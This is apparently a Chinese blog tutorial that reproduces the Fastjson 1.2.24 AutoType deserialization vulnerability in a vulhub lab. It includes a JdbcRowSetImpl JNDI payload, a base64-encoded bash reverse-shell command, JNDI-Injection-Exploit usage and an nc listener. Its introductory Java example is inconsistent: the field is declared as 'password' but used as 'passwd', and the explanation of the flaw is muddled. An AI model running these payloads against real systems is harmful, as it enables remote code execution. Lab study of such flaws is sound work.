当你停下脚步的时候,不要忘了别人还在奔跑。
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
一、Fastjson是什么?
fastjson是阿里巴巴旗下的一个开源JSON解析库,它可以解析JSON格式的字符串,也可以从JSON字符串反序列化到JavaBean。
调用的API接口
String text = JSON.toJSONString(obj); //序列化
VO vo = JSON.parseObject("{...}", VO.class); //反序列化
二、漏洞原理
假如我们这里有一个user类
import java.io.Serializable;
public class User implements Serializable {
private String username;
private String password;
public User(String username, String password) {
this.username = username;
this.passwd = passwd;
}
// Getters and setters
}
然后,我们有一个 JSON 数据,其中包含了一个 User
对象的字段,但是并不包含 passwd
字段:
json
{
"username": "test"
}
使用 Fastjson 库将这个 JSON 数据反序列化为 User
对象:
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
String json = "{\"username\": \"admin\"}";
User user = JSON.parseObject(json, User.class);
System.out.println("Username: " + user.getUsername());
System.out.println("Password: " + user.getPasswd()); // 潜在的漏洞点
}
}
由于 JSON 数据中没有包含 passwd
字段,但是 User
类中存在 passwd
字段,并且 Fastjson 默认会使用无参构造函数创建对象,所以 passwd
字段会被初始化为 null
。然而,在某些情况下,恶意用户可以构造特定的 JSON 数据,以利用这种宽容性,导致意外的对象状态或代码执行,例如通过注入恶意的 JSON 数据来执行恶意代码或者获取敏感信息。
漏洞功能模块
astjson的漏洞本质还是一个java的反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。
三、漏洞复现
本文使用的是vulhub搭建靶场,复现fastjson1.2.24,进入对应的目录后,输入如下命令启动靶场:
docker-compose up –d
docker ps
通过docker ps可以查看容器映射的端口号
打开浏览器访问虚拟机ip:8090,页面显示如下,说明搭建成功
访问地址抓取数据包,变更请求方式,在数据包下面添加 { 发现报错,Fastjson有严格的格式才可以进行解析,否则就会报错:
构建POC利用DNSlog进行测试
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://'www'.ie4soh.dnslog.cn",
"autoCommit":true
}
}
发现回显,说明存在漏洞
三.(1).反弹shell利用
我们需要构建一个 JNDI 服务器,使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具开启JNDI服务:工具地址:GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)
#反弹shell
bash -i>& /dev/tcp/监听端IP/IP 0>&1 #base64 编码
bash -i >& /dev/tcp/192.168.0.105/4444 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1LzQ0NDQgMD4mMQ== #base64编码值
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i} #最后反弹shell的命令
使用方法如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
-C - 远程class文件中要执行的命令,默认命令是mac下打开计算器,即"open /Applications/Calculator.app"
-A - 服务器地址,可以是IP地址或者域名。
注意:
要确保 1099、1389、8180端口可用,不被其他程序占用。
你也可以在run.ServerStart类中的26~28行更改默认端口即可。
命令会被作为参数传入Runtime.getRuntime().exec(),
所以需要确保命令传入exec()方法可执行。
bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..."
利用 JDK 1.8 的 ldap 来反弹 shell
监听端监听4444端口
nc -lvvp 4444
成功监听到反弹的shell